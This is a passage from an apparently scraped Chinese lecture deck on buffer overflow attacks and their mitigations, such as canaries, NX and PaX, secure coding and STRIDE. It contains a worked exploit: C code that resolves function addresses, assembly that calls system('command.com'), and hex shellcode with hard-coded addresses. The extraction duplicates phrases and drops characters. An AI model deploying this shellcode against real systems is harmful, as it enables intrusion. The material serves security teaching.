37、system的真實(shí)地址,再用它來(lái)調(diào)用的真實(shí)地址,再用它來(lái)調(diào)用system函數(shù)函數(shù) (ProcAdd) (); /其實(shí)就是執(zhí)行其實(shí)就是執(zhí)行system()return 0;一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊#include #include typedef void (*MYPROC)(LPTSTR);int main()HINSTANCE LibHandle;MYPROC ProcAdd; LibHandle = LoadLibrary(msvcrt);printf(msvcrt LibHandle = /x%xn, LibHandle);ProcAdd=(MYPROC)GetProcA

38、ddress(LibHandle,system);printf(system = /x%xn, ProcAdd); LibHandle = LoadLibrary(kernel32);printf(kernel32 LibHandle = /x%xn, LibHandle);ProcAdd=(MYPROC)GetProcAddress(LibHandle,LoadLibraryA);printf(LoadLibrary = /x%xn, ProcAdd); return 0;一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊寫出匯編語(yǔ)言寫出匯編語(yǔ)言函數(shù)調(diào)用舉例:函數(shù)調(diào)用舉例:Func(argv1, ar

39、gv2, argv3)先把參數(shù)從右至左壓入堆先把參數(shù)從右至左壓入堆棧,這里就是依次把棧,這里就是依次把a(bǔ)rgv3、argv2、argv1壓入堆棧里,然后壓入堆棧里,然后Call Func 函數(shù)的地址,這個(gè)過(guò)程函數(shù)的地址,這個(gè)過(guò)程等于兩步,一是保存當(dāng)前等于兩步,一是保存當(dāng)前EIP,二是跳到二是跳到Func函數(shù)的地址執(zhí)行。函數(shù)的地址執(zhí)行。即即Push EIP + JMP Func。System( “command. com” )一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊寫出寫出System( “command. com” )語(yǔ)句語(yǔ)句的匯編代碼:的匯編代碼:首先把參數(shù)首先把參數(shù)command. com

40、字符串的字符串的地址入棧,再地址入棧,再Call System的地址。但的地址。但command. com字符串的地址需要我字符串的地址需要我們自己構(gòu)造,把們自己構(gòu)造,把“command. com”一一個(gè)字符一個(gè)字符地壓入堆棧,這樣個(gè)字符一個(gè)字符地壓入堆棧,這樣“command. com”字符串就有了,字符串就有了,而而且且ESP正好是正好是“command. com”字字符符串的地址。串的地址。一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊有了字符串和字符串的地有了字符串和字符串的地址址ESP,我們把,我們把ESP壓入堆壓入堆棧,就是棧,就是System (“”)函數(shù)函數(shù)的參數(shù)的參數(shù) 字符字符串的

41、地址。串的地址。一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊mov esp,ebp ; /把把ebp的內(nèi)容賦值給的內(nèi)容賦值給esppush ebp ; /保存保存ebp,esp4mov ebp,esp ; /給給ebp賦新值,將作為局部變量的基指針賦新值,將作為局部變量的基指針xor edi,edi ; /寄存器清零寄存器清零push edi ; /壓入壓入0,esp4,作用是構(gòu)造字符串的結(jié)尾作用是構(gòu)造字符串的結(jié)尾0字符。字符。 sub esp,08h ; /加上上面,一共有加上上面,一共有12個(gè)字節(jié)個(gè)字節(jié),;用來(lái)放用來(lái)放。 mov byte ptr ebp

42、-0ch,63h ; /cmov byte ptr ebp-0bh,6fh ; /omov byte ptr ebp-0ah,6dh ; /mmov byte ptr ebp-09h,6Dh ; /mmov byte ptr ebp-08h,61h ; /amov byte ptr ebp-07h,6eh ; /nmov byte ptr ebp-06h,64h ; /dmov byte ptr ebp-05h,2Eh ; /.mov byte ptr ebp-04h,63h ; /cmov byte ptr ebp-03h,6fh ; /omov byte ptr ebp-02h,6dh ;

43、 /m 生成串生成串.lea eax,ebp-0ch ; /獲得構(gòu)造的獲得構(gòu)造的字符串的地址字符串的地址push eax ; / 串地址作為參數(shù)入棧串地址作為參數(shù)入棧mov eax, 0 x77BF93C7 ; /system函數(shù)地址函數(shù)地址call eax ; /調(diào)用調(diào)用system,即,即call system函數(shù)的地址函數(shù)的地址一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊x55x8BxECx33xC0 x50 x50 x50 xC6x45xF4x4DxC6x45xF5x53xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2E

44、xC6x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBAx7Bx1Dx80 x7c /loadlibrary地址地址0 x7c801d7bx52x8Dx45xF4x50 xFFx55xF0 x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2E x89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4x50 xB8xc7x93xbfx77 /system地址地址0 x77bf93c7xFFxD0; 溢出保護(hù)技術(shù)溢出保護(hù)技術(shù)l人人代碼作者代碼作者l編譯器編譯

45、器l語(yǔ)言語(yǔ)言lRunTime保護(hù)保護(hù)l操作系統(tǒng)操作系統(tǒng)l硬件硬件人人代碼作者代碼作者l編寫正確的代碼編寫正確的代碼l方法方法l學(xué)習(xí)安全編程學(xué)習(xí)安全編程l軟件質(zhì)量控制軟件質(zhì)量控制l源碼級(jí)糾錯(cuò)工具源碼級(jí)糾錯(cuò)工具編譯器編譯器l數(shù)組邊界檢查數(shù)組邊界檢查l編譯時(shí)加入條件編譯時(shí)加入條件l例如例如canary保護(hù)保護(hù)語(yǔ)言語(yǔ)言l為什么會(huì)出現(xiàn)緩沖區(qū)溢出?為什么會(huì)出現(xiàn)緩沖區(qū)溢出?lC/C+出于效率的考慮,不檢查數(shù)組的邊界出于效率的考慮,不檢查數(shù)組的邊界(語(yǔ)言固有缺陷)(語(yǔ)言固有缺陷)l類型非安全語(yǔ)言類型非安全語(yǔ)言類型安全語(yǔ)言類型安全語(yǔ)言lC,C+C#,Java?RunTime保護(hù)保護(hù)l二進(jìn)制地址重寫二進(jìn)制地址重寫

46、lHook危險(xiǎn)函數(shù)技術(shù)危險(xiǎn)函數(shù)技術(shù)操作系統(tǒng)操作系統(tǒng)l非執(zhí)行緩沖區(qū)非執(zhí)行緩沖區(qū)l緩沖區(qū)是存放數(shù)據(jù)地方,我們可以在硬件或緩沖區(qū)是存放數(shù)據(jù)地方,我們可以在硬件或操作系統(tǒng)層次上強(qiáng)制緩沖區(qū)的內(nèi)容不得執(zhí)行操作系統(tǒng)層次上強(qiáng)制緩沖區(qū)的內(nèi)容不得執(zhí)行l(wèi)許多內(nèi)核補(bǔ)丁用來(lái)阻止緩沖區(qū)執(zhí)行許多內(nèi)核補(bǔ)丁用來(lái)阻止緩沖區(qū)執(zhí)行操作系統(tǒng)操作系統(tǒng)l堆棧不可執(zhí)行內(nèi)核補(bǔ)丁堆棧不可執(zhí)行內(nèi)核補(bǔ)丁lSolar designers nonexec kernel patchlSolaris/SPARC nonexec-stack protectionl數(shù)據(jù)段不可執(zhí)行內(nèi)核補(bǔ)丁數(shù)據(jù)段不可執(zhí)行內(nèi)核補(bǔ)丁lkNoX:Linux內(nèi)核補(bǔ)丁,僅支持內(nèi)核補(bǔ)丁,僅支

47、持2.2內(nèi)核。內(nèi)核。lRSX:Linux內(nèi)核模塊。內(nèi)核模塊。lExec shieldl增強(qiáng)的緩沖區(qū)溢出保護(hù)及內(nèi)核增強(qiáng)的緩沖區(qū)溢出保護(hù)及內(nèi)核MAClOpenBSD security featurelPaX硬件硬件lX86 CPU上采用上采用4GB平坦模式,數(shù)據(jù)段和代碼平坦模式,數(shù)據(jù)段和代碼段的線性地址是重疊的,頁(yè)面只要可讀就可以段的線性地址是重疊的,頁(yè)面只要可讀就可以執(zhí)行,諸多內(nèi)核補(bǔ)丁才會(huì)費(fèi)盡心機(jī)設(shè)計(jì)了各種執(zhí)行,諸多內(nèi)核補(bǔ)丁才會(huì)費(fèi)盡心機(jī)設(shè)計(jì)了各種方法來(lái)使數(shù)據(jù)段不可執(zhí)行方法來(lái)使數(shù)據(jù)段不可執(zhí)行.lAlpha、PPC、PA-RISC、SPARC、SPARC64、AMD64、IA64都提供了頁(yè)執(zhí)行都提供

48、了頁(yè)執(zhí)行bit位。位。Intel及及AMD新增加的頁(yè)執(zhí)行新增加的頁(yè)執(zhí)行bit位稱為位稱為NX安全技術(shù)安全技術(shù).lWindows XP SP2及及Linux Kernel 2.6都支持都支持NX緩沖區(qū)溢出漏洞挖掘緩沖區(qū)溢出漏洞挖掘lXcon 2004 l基于數(shù)據(jù)流分析的靜態(tài)漏洞挖掘基于數(shù)據(jù)流分析的靜態(tài)漏洞挖掘lXcon 2005 l結(jié)構(gòu)化的簽名和簽名的結(jié)構(gòu)化結(jié)構(gòu)化的簽名和簽名的結(jié)構(gòu)化 安全編程技術(shù)安全編程技術(shù)l設(shè)計(jì)安全的系統(tǒng)設(shè)計(jì)安全的系統(tǒng)l代碼的規(guī)范和風(fēng)格代碼的規(guī)范和風(fēng)格l危險(xiǎn)的函數(shù)危險(xiǎn)的函數(shù)l安全測(cè)試安全測(cè)試設(shè)計(jì)安全的系統(tǒng)設(shè)計(jì)安全的系統(tǒng)l賴以生存的安全策略賴以生存的安全策略l建立一個(gè)安全步驟建

49、立一個(gè)安全步驟l定義產(chǎn)品的安全目標(biāo)定義產(chǎn)品的安全目標(biāo)l將安全看作產(chǎn)品的一個(gè)功能將安全看作產(chǎn)品的一個(gè)功能l從錯(cuò)誤中吸取教訓(xùn)從錯(cuò)誤中吸取教訓(xùn)l使用最小權(quán)限使用最小權(quán)限l使用縱深防御使用縱深防御l假設(shè)外部系統(tǒng)是不安全的假設(shè)外部系統(tǒng)是不安全的l做好失效計(jì)劃做好失效計(jì)劃l使用安全的默認(rèn)值使用安全的默認(rèn)值設(shè)計(jì)安全的系統(tǒng)設(shè)計(jì)安全的系統(tǒng)l威脅模型威脅模型lSTRIDE威脅模型威脅模型l欺騙標(biāo)識(shí)欺騙標(biāo)識(shí) Spoofing identityl篡改數(shù)據(jù)篡改數(shù)據(jù) Tampering with datal拒絕履約拒絕履約 Repudiationl信息泄露信息泄露 Information disclosurel拒絕服務(wù)拒

50、絕服務(wù) Denial of servicel特權(quán)提升特權(quán)提升 Elevation of privilege設(shè)計(jì)安全的系統(tǒng)設(shè)計(jì)安全的系統(tǒng)l部分威脅緩解方法部分威脅緩解方法l欺騙標(biāo)識(shí)欺騙標(biāo)識(shí)l篡改數(shù)據(jù)篡改數(shù)據(jù)l拒絕履約拒絕履約 l信息泄露信息泄露l拒絕服務(wù)拒絕服務(wù) l特權(quán)提升特權(quán)提升認(rèn)證認(rèn)證保護(hù)秘密保護(hù)秘密不存儲(chǔ)秘密不存儲(chǔ)秘密授權(quán)授權(quán)Hash消息認(rèn)證代碼消息認(rèn)證代碼數(shù)字簽名數(shù)字簽名抗篡改的協(xié)議抗篡改的協(xié)議數(shù)字簽名數(shù)字簽名時(shí)間戳?xí)r間戳審核跟蹤審核跟蹤授權(quán)授權(quán)加強(qiáng)保密的協(xié)議加強(qiáng)保密的協(xié)議加密加密保密存儲(chǔ)保密存儲(chǔ)認(rèn)證認(rèn)證授權(quán)授權(quán)過(guò)濾過(guò)濾扼殺扼殺服務(wù)質(zhì)量服務(wù)質(zhì)量以最小權(quán)限運(yùn)行以最小權(quán)限運(yùn)行代碼的規(guī)范和風(fēng)格

51、代碼的規(guī)范和風(fēng)格l基本編程規(guī)范基本編程規(guī)范l成對(duì)編碼原則成對(duì)編碼原則l變量定義的規(guī)范變量定義的規(guī)范l代碼對(duì)齊、分塊、換行的規(guī)范代碼對(duì)齊、分塊、換行的規(guī)范l注釋的規(guī)范注釋的規(guī)范危險(xiǎn)的函數(shù)危險(xiǎn)的函數(shù)lstrcpywcscpylstrcpy_tcscpy_mbscpylstrcatwcscatlstrcat_tcscat_mbscatlstrncpylmemcpylprintfsprintflgetslscanfl強(qiáng)制寫正確的代碼的方法強(qiáng)制寫正確的代碼的方法 編寫正確的代碼是一件非常有意義但耗時(shí)的工編寫正確的代碼是一件非常有意義但耗時(shí)的工作,特別像編寫作,特別像編寫C語(yǔ)言那種具有容易出錯(cuò)傾向的程序,

52、語(yǔ)言那種具有容易出錯(cuò)傾向的程序,這種風(fēng)格是由于追求性能而忽視正確性的傳統(tǒng)引起這種風(fēng)格是由于追求性能而忽視正確性的傳統(tǒng)引起的。盡管花了很長(zhǎng)的時(shí)間使得人們知道了如何編寫的。盡管花了很長(zhǎng)的時(shí)間使得人們知道了如何編寫安全的程序,具有安全漏洞的程序依舊出現(xiàn)。偵錯(cuò)安全的程序,具有安全漏洞的程序依舊出現(xiàn)。偵錯(cuò)技術(shù)只能用來(lái)減少緩沖區(qū)溢出的可能,并不能完全技術(shù)只能用來(lái)減少緩沖區(qū)溢出的可能,并不能完全地消除它的存在。地消除它的存在。避免緩沖區(qū)溢出避免緩沖區(qū)溢出避免緩沖區(qū)溢出避免緩沖區(qū)溢出l通過(guò)操作系統(tǒng)使得緩沖區(qū)不可執(zhí)行,從而阻通過(guò)操作系統(tǒng)使得緩沖區(qū)不可執(zhí)行,從而阻止攻擊者殖入攻擊代碼止攻擊者殖入攻擊代碼 這種方法

53、有效地阻止了很多緩沖區(qū)溢出的攻擊,這種方法有效地阻止了很多緩沖區(qū)溢出的攻擊,但是攻擊者并不一定要殖入攻擊代碼來(lái)實(shí)現(xiàn)緩沖區(qū)但是攻擊者并不一定要殖入攻擊代碼來(lái)實(shí)現(xiàn)緩沖區(qū)溢出的攻擊,所以這種方法還是存在很多弱點(diǎn)的。溢出的攻擊,所以這種方法還是存在很多弱點(diǎn)的。避免緩沖區(qū)溢出避免緩沖區(qū)溢出l利用編譯器的邊界檢查來(lái)實(shí)現(xiàn)緩沖區(qū)的保護(hù)利用編譯器的邊界檢查來(lái)實(shí)現(xiàn)緩沖區(qū)的保護(hù) 數(shù)組邊界檢查完全沒有緩沖區(qū)溢出的產(chǎn)生,所數(shù)組邊界檢查完全沒有緩沖區(qū)溢出的產(chǎn)生,所以只要保證數(shù)組不溢出,那么緩沖區(qū)溢出攻擊也就以只要保證數(shù)組不溢出,那么緩沖區(qū)溢出攻擊也就只能是望梅止渴了。實(shí)現(xiàn)數(shù)組邊界檢查,所有的對(duì)只能是望梅止渴了。實(shí)現(xiàn)數(shù)組邊界檢查,所有的對(duì)數(shù)組的讀寫操作都應(yīng)該被檢查,這樣可以保證對(duì)數(shù)數(shù)組的讀寫操作都應(yīng)該被檢查,這樣可以保證對(duì)數(shù)組的操作在正確的范圍之內(nèi)。檢查數(shù)組是一件叫人組的操作在正確的范圍之內(nèi)。檢查數(shù)組是一件叫人頭大的事情。這個(gè)方法使得緩沖區(qū)溢出不可能出現(xiàn),頭大的事情。這個(gè)方法使得緩沖區(qū)溢出不

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論